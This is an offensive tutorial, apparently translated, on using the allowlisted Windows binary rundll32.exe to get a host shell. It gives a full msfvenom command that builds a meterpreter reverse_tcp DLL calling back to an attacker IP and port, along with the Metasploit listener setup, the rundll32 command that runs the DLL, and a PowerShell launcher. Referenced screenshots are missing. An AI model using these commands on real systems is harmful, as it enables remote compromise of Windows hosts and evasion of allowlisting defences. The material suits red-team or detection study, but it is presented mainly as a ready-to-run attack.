Obtaining a Host Shell by Executing a Payload with the Allowlisted Rundll32.exe

Environment

Related Script

Introduction to Rundll32:

• Rundll32.exe means “execute a 32-bit DLL file.” It executes internal functions in a DLL file, providing a command-line way to invoke a dynamic-link library.

Note: The directory containing Rundll32.exe has already been added to the system's PATH environment variable, so the Wmic command can recognize it. Pay attention to whether the x86 or x64 version of Rundll32 is being invoked.

• Default locations on Windows 2003:

C:\Windows\System32\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe

Attack Process:

Configure msf on the attacker host:

• Use msf to generate a payload.

msfvenom ‐a x86 ‐‐platform windows ‐p windows/meterpreter/reverse_tcp LHOST=10.10.10.93 LPORT=2333 ‐f dll > hunter_rundll32.dll

• Start a listener with msf.

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.10.10.93
set lport 2333
exploit # 如下图：

Execute on the target host:

• On windows7, execute the malicious file through rundll32.exe; the file is a dll.

c:\Windows\SysWOW64\rundll32.exe shell32.dll,Control_RunDLL C:\Users\aesteam3\Desktop\hunter_rundll32.dll

• The kali attacker host successfully receives the reverse shell, as shown below:

Write the Powershell code:

$rundll32_path = "C:\Windows\SysWOW64\rundll32.exe"
$malicious_dll_path = "C:\Users\aesteam3\Desktop\hunter_rundll32.dll"
Start-Process -FilePath $rundll32_path -ArgumentList "shell32.dll,Control_RunDLL $malicious_dll_path"

Result of executing the Powershell code: